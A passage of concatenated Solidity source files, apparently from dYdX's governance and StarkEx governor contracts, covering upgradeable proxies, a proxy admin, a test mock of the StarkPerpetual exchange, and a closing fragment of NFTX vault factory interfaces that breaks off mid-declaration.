*/
function getDelegateeByType(address delegator, DelegationType delegationType)
external
view
virtual
returns (address);
/**
* @dev Returns the current delegated power of a user. The current power is the power delegated
* at the time of the last snapshot.
*
* @param user The user whose power to query.
* @param delegationType The type of power (VOTING_POWER, PROPOSITION_POWER).
*/
function getPowerCurrent(address user, DelegationType delegationType)
external
view
virtual
returns (uint256);
/**
* @dev Returns the delegated power of a user at a certain block.
*
* @param user The user whose power to query.
* @param blockNumber The block number at which to get the user's power.
* @param delegationType The type of power (VOTING_POWER, PROPOSITION_POWER).
*/
function getPowerAtBlock(
address user,
uint256 blockNumber,
DelegationType delegationType
)
external
view
virtual
returns (uint256);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { IGovernanceStrategy } from '../interfaces/IGovernanceStrategy.sol';
import { IGovernancePowerDelegationERC20 } from '../interfaces/IGovernancePowerDelegationERC20.sol';
import { GovernancePowerDelegationERC20Mixin } from './token/GovernancePowerDelegationERC20Mixin.sol';
interface IDydxToken {
function _totalSupplySnapshots(uint256) external view returns (GovernancePowerDelegationERC20Mixin.Snapshot memory);
function _totalSupplySnapshotsCount() external view returns (uint256);
}
/**
* @title Governance Strategy contract
* @dev Smart contract containing logic to measure users' relative power to propose and vote.
* User Power = User Power from DYDX token + User Power from staked-DYDX token.
* User Power from Token = Token Power + Token Power as Delegatee [- Token Power if user has delegated]
* Two wrapper functions linked to DYDX tokens's GovernancePowerDelegationERC20Mixin.sol implementation
* - getPropositionPowerAt: fetching a user Proposition Power at a specified block
* - getVotingPowerAt: fetching a user Voting Power at a specified block
* @author dYdX
**/
contract GovernanceStrategy is IGovernanceStrategy {
address public immutable DYDX_TOKEN;
address public immutable STAKED_DYDX_TOKEN;
/**
* @dev Constructor, register tokens used for Voting and Proposition Powers.
* @param dydxToken The address of the DYDX token contract.
* @param stakedDydxToken The address of the staked-DYDX token Contract
**/
constructor(address dydxToken, address stakedDydxToken) {
DYDX_TOKEN = dydxToken;
STAKED_DYDX_TOKEN = stakedDydxToken;
}
/**
* @dev Get the supply of proposition power, for the purpose of determining if a proposing
* threshold was reached.
* @param blockNumber Block number at which to evaluate
* @return Returns token supply at blockNumber.
**/
function getTotalPropositionSupplyAt(uint256 blockNumber) public view override returns (uint256) {
return _getTotalSupplyAt(blockNumber);
}
/**
* @dev Get the supply of voting power, for the purpose of determining if quorum or vote
* differential tresholds were reached.
* @param blockNumber Block number at which to evaluate
* @return Returns token supply at blockNumber.
**/
function getTotalVotingSupplyAt(uint256 blockNumber) public view override returns (uint256) {
return _getTotalSupplyAt(blockNumber);
}
/**
* @dev Returns the Proposition Power of a user at a specific block number.
* @param user Address of the user.
* @param blockNumber Blocknumber at which to fetch Proposition Power
* @return Power number
**/
function getPropositionPowerAt(address user, uint256 blockNumber)
public
view
override
returns (uint256)
{
return
_getPowerByTypeAt(user, blockNumber, IGovernancePowerDelegationERC20.DelegationType.PROPOSITION_POWER);
}
/**
* @dev Returns the Vote Power of a user at a specific block number.
* @param user Address of the user.
* @param blockNumber Blocknumber at which to fetch Vote Power
* @return Vote number
**/
function getVotingPowerAt(address user, uint256 blockNumber)
public
view
override
returns (uint256)
{
return _getPowerByTypeAt(user, blockNumber, IGovernancePowerDelegationERC20.DelegationType.VOTING_POWER);
}
function _getPowerByTypeAt(
address user,
uint256 blockNumber,
IGovernancePowerDelegationERC20.DelegationType powerType
) internal view returns (uint256) {
return
IGovernancePowerDelegationERC20(DYDX_TOKEN).getPowerAtBlock(user, blockNumber, powerType) +
IGovernancePowerDelegationERC20(STAKED_DYDX_TOKEN).getPowerAtBlock(user, blockNumber, powerType);
}
/**
* @dev Returns the total supply of DYDX token at a specific block number.
* @param blockNumber Blocknumber at which to fetch DYDX token supply.
* @return Total DYDX token supply at block number.
**/
function _getTotalSupplyAt(uint256 blockNumber) internal view returns (uint256) {
IDydxToken dydxToken = IDydxToken(DYDX_TOKEN);
uint256 snapshotsCount = dydxToken._totalSupplySnapshotsCount();
// Iterate in reverse over the total supply snapshots, up to index 1.
for (uint256 i = snapshotsCount - 1; i != 0; i--) {
GovernancePowerDelegationERC20Mixin.Snapshot memory snapshot = dydxToken._totalSupplySnapshots(i);
if (snapshot.blockNumber <= blockNumber) {
return snapshot.value;
}
}
// If blockNumber was on or after the first snapshot, then return the initial supply.
// Else, blockNumber is before token launch so return 0.
GovernancePowerDelegationERC20Mixin.Snapshot memory firstSnapshot = dydxToken._totalSupplySnapshots(0);
if (firstSnapshot.blockNumber <= blockNumber) {
return firstSnapshot.value;
} else {
return 0;
}
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.5;
import { ERC20 } from '../dependencies/open-zeppelin/ERC20.sol';
import { SafeMath } from '../dependencies/open-zeppelin/SafeMath.sol';
import { GovernancePowerDelegationERC20Mixin } from './token/GovernancePowerDelegationERC20Mixin.sol';
/**
* @title GovernancePowerWithSnapshot
* @notice ERC20 including snapshots of balances on transfer-related actions
* @author dYdX
**/
abstract contract GovernancePowerWithSnapshot is GovernancePowerDelegationERC20Mixin {
using SafeMath for uint256;
/**
* @dev The following storage layout points to the prior StakedToken.sol implementation:
* _snapshots => _votingSnapshots
* _snapshotsCounts => _votingSnapshotsCounts
*/
mapping(address => mapping(uint256 => Snapshot)) public _votingSnapshots;
mapping(address => uint256) public _votingSnapshotsCounts;
}
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import { Ownable } from '../dependencies/open-zeppelin/Ownable.sol';
import { IStarkPerpetual } from '../interfaces/IStarkPerpetual.sol';
/**
* @title StarkExRemoverGovernorV2
* @author dYdX
*
* @notice This is a StarkEx governor contract whose sole purpose is to remove other governors.
*
* This contract can be nominated by a StarkEx governor in order to allow themselves to be removed
* “automatically” from the governor role. The governor should nominate this contract to the main
* and proxy governor roles, while ensuring that the MAIN_GOVERNORS_TO_REMOVE and
* PROXY_GOVERNORS_TO_REMOVE values are correctly set.
*/
contract StarkExRemoverGovernorV2 is
Ownable
{
IStarkPerpetual public immutable STARK_PERPETUAL;
address[] public MAIN_GOVERNORS_TO_REMOVE;
address[] public PROXY_GOVERNORS_TO_REMOVE;
constructor(
address starkPerpetual,
address[] memory mainGovernorsToRemove,
address[] memory proxyGovernorsToRemove
) {
STARK_PERPETUAL = IStarkPerpetual(starkPerpetual);
MAIN_GOVERNORS_TO_REMOVE = mainGovernorsToRemove;
PROXY_GOVERNORS_TO_REMOVE = proxyGovernorsToRemove;
}
function mainAcceptGovernance()
external
onlyOwner
{
STARK_PERPETUAL.mainAcceptGovernance();
}
function proxyAcceptGovernance()
external
onlyOwner
{
STARK_PERPETUAL.proxyAcceptGovernance();
}
function mainRemoveGovernor(
uint256 i
)
external
onlyOwner
{
STARK_PERPETUAL.mainRemoveGovernor(MAIN_GOVERNORS_TO_REMOVE[i]);
}
function proxyRemoveGovernor(
uint256 i
)
external
onlyOwner
{
STARK_PERPETUAL.proxyRemoveGovernor(PROXY_GOVERNORS_TO_REMOVE[i]);
}
function numMainGovernorsToRemove()
external
view
returns (uint256)
{
return MAIN_GOVERNORS_TO_REMOVE.length;
}
function numProxyGovernorsToRemove()
external
view
returns (uint256)
{
return PROXY_GOVERNORS_TO_REMOVE.length;
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
/**
* @title IStarkPerpetual
* @author dYdX
*
* @notice Partial interface for the StarkPerpetual contract, for accessing the dYdX L2 exchange.
* @dev See https://github.com/starkware-libs/starkex-contracts
*/
interface IStarkPerpetual {
function registerUser(
address ethKey,
uint256 starkKey,
bytes calldata signature
) external;
function deposit(
uint256 starkKey,
uint256 assetType,
uint256 vaultId,
uint256 quantizedAmount
) external;
function withdraw(uint256 starkKey, uint256 assetType) external;
function forcedWithdrawalRequest(
uint256 starkKey,
uint256 vaultId,
uint256 quantizedAmount,
bool premiumCost
) external;
function forcedTradeRequest(
uint256 starkKeyA,
uint256 starkKeyB,
uint256 vaultIdA,
uint256 vaultIdB,
uint256 collateralAssetId,
uint256 syntheticAssetId,
uint256 amountCollateral,
uint256 amountSynthetic,
bool aIsBuyingSynthetic,
uint256 submissionExpirationTime,
uint256 nonce,
bytes calldata signature,
bool premiumCost
) external;
function mainAcceptGovernance() external;
function proxyAcceptGovernance() external;
function mainRemoveGovernor(address governorForRemoval) external;
function proxyRemoveGovernor(address governorForRemoval) external;
function registerAssetConfigurationChange(uint256 assetId, bytes32 configHash) external;
function applyAssetConfigurationChange(uint256 assetId, bytes32 configHash) external;
function registerGlobalConfigurationChange(bytes32 configHash) external;
function applyGlobalConfigurationChange(bytes32 configHash) external;
function getEthKey(uint256 starkKey) external view returns (address);
}
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import { Ownable } from '../dependencies/open-zeppelin/Ownable.sol';
import { IStarkPerpetual } from '../interfaces/IStarkPerpetual.sol';
/**
* @title StarkExRemoverGovernor
* @author dYdX
*
* @notice This is a StarkEx governor contract whose sole purpose is to remove another governor.
*
* This contract can be nominated by a StarkEx governor in order to allow themselves to be removed
* “automatically” from the governor role. The governor should nominate this contract to the main
* and proxy governor roles, while ensuring that the GOVERNOR_TO_REMOVE address is correctly set
* to their own address.
*/
contract StarkExRemoverGovernor is
Ownable
{
IStarkPerpetual public immutable STARK_PERPETUAL;
address public immutable GOVERNOR_TO_REMOVE;
constructor(
address starkPerpetual,
address governorToRemove
) {
STARK_PERPETUAL = IStarkPerpetual(starkPerpetual);
GOVERNOR_TO_REMOVE = governorToRemove;
}
function mainAcceptGovernance()
external
onlyOwner
{
STARK_PERPETUAL.mainAcceptGovernance();
}
function proxyAcceptGovernance()
external
onlyOwner
{
STARK_PERPETUAL.proxyAcceptGovernance();
}
function mainRemoveGovernor()
external
onlyOwner
{
STARK_PERPETUAL.mainRemoveGovernor(GOVERNOR_TO_REMOVE);
}
function proxyRemoveGovernor()
external
onlyOwner
{
STARK_PERPETUAL.proxyRemoveGovernor(GOVERNOR_TO_REMOVE);
}
}
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import { Ownable } from '../dependencies/open-zeppelin/Ownable.sol';
import { IStarkPerpetual } from '../interfaces/IStarkPerpetual.sol';
/**
* @title StarkExHelperGovernor
* @author dYdX
*
* @notice This is a StarkEx governor which can be used by the owner to execute config changes.
*/
contract StarkExHelperGovernor is
Ownable
{
IStarkPerpetual public immutable STARK_PERPETUAL;
constructor(
address starkPerpetual
) {
STARK_PERPETUAL = IStarkPerpetual(starkPerpetual);
}
function mainAcceptGovernance()
external
onlyOwner
{
STARK_PERPETUAL.mainAcceptGovernance();
}
/**
* @notice Helper function to register and apply multiple asset configuration changes.
*
* Requires that there is no timelock set on the StarkEx contract.
*
* @param assetIds Array of asset IDs for the assets to be configured.
* @param configHashes Array of hashes of the asset configurations.
*/
function executeAssetConfigurationChanges(
uint256[] calldata assetIds,
bytes32[] calldata configHashes
)
external
onlyOwner
{
require(
assetIds.length == configHashes.length,
'StarkExHelperGovernor: Input params must have the same length'
);
for (uint256 i = 0; i < assetIds.length; i++) {
STARK_PERPETUAL.registerAssetConfigurationChange(assetIds[i], configHashes[i]);
STARK_PERPETUAL.applyAssetConfigurationChange(assetIds[i], configHashes[i]);
}
}
/**
* @notice Helper function to register and apply a global configuration change.
*
* Requires that there is no timelock set on the StarkEx contract.
*
* @param configHash The hash of the global configuration.
*/
function executeGlobalConfigurationChange(
bytes32 configHash
)
external
onlyOwner
{
STARK_PERPETUAL.registerGlobalConfigurationChange(configHash);
STARK_PERPETUAL.applyGlobalConfigurationChange(configHash);
}
}
pragma solidity ^0.7.5;
import "./Ownable.sol";
import "./AdminUpgradeabilityProxy.sol";
/**
* @title ProxyAdmin
* @dev This contract is the admin of a proxy, and is in charge
* of upgrading it as well as transferring it to another admin.
*/
contract ProxyAdmin is Ownable {
/**
* @dev Returns the current implementation of a proxy.
* This is needed because only the proxy admin can query it.
* @return The address of the current implementation of the proxy.
*/
function getProxyImplementation(AdminUpgradeabilityProxy proxy) public view returns (address) {
// We need to manually run the static call since the getter cannot be flagged as view
// bytes4(keccak256("implementation()")) == 0x5c60da1b
(bool success, bytes memory returndata) = address(proxy).staticcall(hex"5c60da1b");
require(success);
return abi.decode(returndata, (address));
}
/**
* @dev Returns the admin of a proxy. Only the admin can query it.
* @return The address of the current admin of the proxy.
*/
function getProxyAdmin(AdminUpgradeabilityProxy proxy) public view returns (address) {
// We need to manually run the static call since the getter cannot be flagged as view
// bytes4(keccak256("admin()")) == 0xf851a440
(bool success, bytes memory returndata) = address(proxy).staticcall(hex"f851a440");
require(success);
return abi.decode(returndata, (address));
}
/**
* @dev Changes the admin of a proxy.
* @param proxy Proxy to change admin.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeProxyAdmin(AdminUpgradeabilityProxy proxy, address newAdmin) public onlyOwner {
proxy.changeAdmin(newAdmin);
}
/**
* @dev Upgrades a proxy to the newest implementation of a contract.
* @param proxy Proxy to be upgraded.
* @param implementation the address of the Implementation.
*/
function upgrade(AdminUpgradeabilityProxy proxy, address implementation) public onlyOwner {
proxy.upgradeTo(implementation);
}
/**
* @dev Upgrades a proxy to the newest implementation of a contract and forwards a function call to it.
* This is useful to initialize the proxied contract.
* @param proxy Proxy to be upgraded.
* @param implementation Address of the Implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeAndCall(AdminUpgradeabilityProxy proxy, address implementation, bytes memory data) payable public onlyOwner {
proxy.upgradeToAndCall{value: msg.value}(implementation, data);
}
}
pragma solidity ^0.7.5;
import './BaseAdminUpgradeabilityProxy.sol';
/**
* @title AdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for
* initializing the implementation, admin, and init data.
*/
contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override(BaseAdminUpgradeabilityProxy, Proxy) {
require(msg.sender != _admin(), 'Cannot call fallback function from the proxy admin');
super._willFallback();
}
}
pragma solidity 0.7.5;
import './UpgradeabilityProxy.sol';
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32
internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), 'Cannot change the admin of a proxy to the zero address');
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data)
external
payable
ifAdmin
{
_upgradeTo(newImplementation);
(bool success, ) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal virtual override {
require(msg.sender != _admin(), 'Cannot call fallback function from the proxy admin');
super._willFallback();
}
}
pragma solidity 0.7.5;
import './BaseUpgradeabilityProxy.sol';
/**
* @title UpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with a constructor for initializing
* implementation and init data.
*/
contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if (_data.length > 0) {
(bool success, ) = _logic.delegatecall(_data);
require(success);
}
}
}
pragma solidity 0.7.5;
import './Proxy.sol';
import './Address.sol';
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32
internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(
Address.isContract(newImplementation),
'Cannot set a proxy implementation to a non-contract address'
);
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
pragma solidity 0.7.5;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback() external payable {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.5;
import './BaseAdminUpgradeabilityProxy.sol';
import './InitializableUpgradeabilityProxy.sol';
/**
* @title InitializableAdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for
* initializing the implementation, admin, and init data.
*/
contract InitializableAdminUpgradeabilityProxy is
BaseAdminUpgradeabilityProxy,
InitializableUpgradeabilityProxy
{
/**
* Contract initializer.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(
address _logic,
address _admin,
bytes memory _data
) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override(BaseAdminUpgradeabilityProxy, Proxy) {
BaseAdminUpgradeabilityProxy._willFallback();
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.5;
import './BaseUpgradeabilityProxy.sol';
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if (_data.length > 0) {
(bool success, ) = _logic.delegatecall(_data);
require(success);
}
}
}
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import { IERC20 } from '../interfaces/IERC20.sol';
/**
* @title MockStarkPerpetual
* @author dYdX
*
* @notice Mock implementation for the StarkPerpetual contract, for accessing the dYdX L2 exchange.
* @dev See https://github.com/starkware-libs/starkex-contracts
*/
contract MockStarkPerpetual {
// ============ Mock Exchange Functionality ============
event MockStarkRegistered(address ethKey, uint256 starkKey, bytes signature);
event MockStarkDeposited(
uint256 starkKey,
uint256 assetType,
uint256 vaultId,
uint256 quantizedAmount
);
event MockStarkWithdrew(uint256 starkKey, uint256 assetType, uint256 amount);
mapping(uint256 => address) public _REGISTRATIONS_;
mapping(address => uint256) public _DEPOSITS_;
IERC20 public immutable TOKEN;
constructor(IERC20 token) {
TOKEN = token;
}
function registerUser(
address ethKey,
uint256 starkKey,
bytes calldata signature
) external {
_REGISTRATIONS_[starkKey] = ethKey;
emit MockStarkRegistered(ethKey, starkKey, signature);
}
function deposit(
uint256 starkKey,
uint256 assetType,
uint256 vaultId,
uint256 quantizedAmount
) external {
// Require registered.
getEthKey(starkKey);
// Assume no overflow since this is just for test purposes.
_DEPOSITS_[msg.sender] = _DEPOSITS_[msg.sender] + quantizedAmount;
require(TOKEN.transferFrom(msg.sender, address(this), quantizedAmount));
emit MockStarkDeposited(starkKey, assetType, vaultId, quantizedAmount);
}
function withdraw(uint256 starkKey, uint256 assetType) external {
// Require registered.
getEthKey(starkKey);
uint256 amount = _DEPOSITS_[msg.sender];
_DEPOSITS_[msg.sender] = 0;
require(TOKEN.transfer(msg.sender, amount));
emit MockStarkWithdrew(starkKey, assetType, amount);
}
function forcedWithdrawalRequest(
uint256 starkKey,
uint256 vaultId,
uint256 quantizedAmount,
bool premiumCost
) external {
// Require registered.
getEthKey(starkKey);
}
function getEthKey(uint256 starkKey) public view returns(address) {
address ethKey = _REGISTRATIONS_[starkKey];
require(ethKey != address(0), 'USER_UNREGISTERED');
return ethKey;
}
// ============ Mock Governance Functionality ============
mapping(address => bool) public _MAIN_GOVERNORS_;
mapping(address => bool) public _PROXY_GOVERNORS_;
mapping(uint256 => mapping(bytes32 => bool)) public _REGISTERED_ASSET_CONFIGS_;
mapping(bytes32 => bool) public _REGISTERED_GLOBAL_CONFIGS_;
mapping(uint256 => bytes32) public _ASSET_CONFIGS_;
bytes32 public _GLOBAL_CONFIG_;
function mainAcceptGovernance() external {
// Assume already nominated.
_MAIN_GOVERNORS_[msg.sender] = true;
}
function proxyAcceptGovernance() external {
// Assume already nominated.
_PROXY_GOVERNORS_[msg.sender] = true;
}
function mainRemoveGovernor(address governorForRemoval) external {
require(_MAIN_GOVERNORS_[msg.sender], 'MockStarkPerpetual: Sender is not a main governor');
require(governorForRemoval != msg.sender, 'MockStarkPerpetual: Cannot remove self');
_MAIN_GOVERNORS_[governorForRemoval] = false;
}
function proxyRemoveGovernor(address governorForRemoval) external {
require(_PROXY_GOVERNORS_[msg.sender], 'MockStarkPerpetual: Sender is not a proxy governor');
require(governorForRemoval != msg.sender, 'MockStarkPerpetual: Cannot remove self');
_PROXY_GOVERNORS_[governorForRemoval] = false;
}
function registerAssetConfigurationChange(uint256 assetId, bytes32 configHash) external {
require(_MAIN_GOVERNORS_[msg.sender], 'MockStarkPerpetual: Sender is not a main governor');
_REGISTERED_ASSET_CONFIGS_[assetId][configHash] = true;
}
function applyAssetConfigurationChange(uint256 assetId, bytes32 configHash) external {
require(_MAIN_GOVERNORS_[msg.sender], 'MockStarkPerpetual: Sender is not a main governor');
require(
_REGISTERED_ASSET_CONFIGS_[assetId][configHash],
'MockStarkPerpetual: Asset config not registered'
);
_ASSET_CONFIGS_[assetId] = configHash;
}
function registerGlobalConfigurationChange(bytes32 configHash) external {
require(_MAIN_GOVERNORS_[msg.sender], 'MockStarkPerpetual: Sender is not a main governor');
_REGISTERED_GLOBAL_CONFIGS_[configHash] = true;
}
function applyGlobalConfigurationChange(bytes32 configHash) external {
require(_MAIN_GOVERNORS_[msg.sender], 'MockStarkPerpetual: Sender is not a main governor');
require(
_REGISTERED_GLOBAL_CONFIGS_[configHash],
'MockStarkPerpetual: Global config not registered'
);
_GLOBAL_CONFIG_ = configHash;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.5;
import '../interfaces/IERC20.sol';
contract DoubleTransferHelper {
IERC20 public immutable TOKEN;
constructor(IERC20 token) public {
TOKEN = token;
}
function doubleSend(
address to,
uint256 amount1,
uint256 amount2
) external {
TOKEN.transfer(to, amount1);
TOKEN.transfer(to, amount2);
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.5;
import { IERC20 } from './IERC20.sol';
/**
* @dev Interface for ERC20 including metadata
**/
interface IERC20Detailed is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { ExecutorWithTimelockMixin } from './ExecutorWithTimelockMixin.sol';
import { ProposalValidatorMixin } from './ProposalValidatorMixin.sol';
/**
* @title Time Locked, Validator, Executor Contract
* @dev Contract
* - Validate Proposal creations/ cancellation
* - Validate Vote Quorum and Vote success on proposal
* - Queue, Execute, Cancel, successful proposals' transactions.
* @author dYdX
**/
contract Executor is ExecutorWithTimelockMixin, ProposalValidatorMixin {
constructor(
address admin,
uint256 delay,
uint256 gracePeriod,
uint256 minimumDelay,
uint256 maximumDelay,
uint256 propositionThreshold,
uint256 voteDuration,
uint256 voteDifferential,
uint256 minimumQuorum
)
ExecutorWithTimelockMixin(admin, delay, gracePeriod, minimumDelay, maximumDelay)
ProposalValidatorMixin(propositionThreshold, voteDuration, voteDifferential, minimumQuorum)
{}
}
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// Sources flattened with hardhat v2.4.3 https://hardhat.org
// File contracts/solidity/proxy/IBeacon.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeacon {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function childImplementation() external view returns (address);
function upgradeChildTo(address newImplementation) external;
}
// File contracts/solidity/interface/INFTXVaultFactory.sol
pragma solidity ^0.8.0;
interface INFTXVaultFactory is IBeacon {
// Read functions.
function numVaults() external view returns (uint256);
function zapContract() external view returns (address);
function feeDistributor() external view returns (address);
function eligibilityManager() external view returns (address);
function vault(uint256 vaultId) external view returns (address);
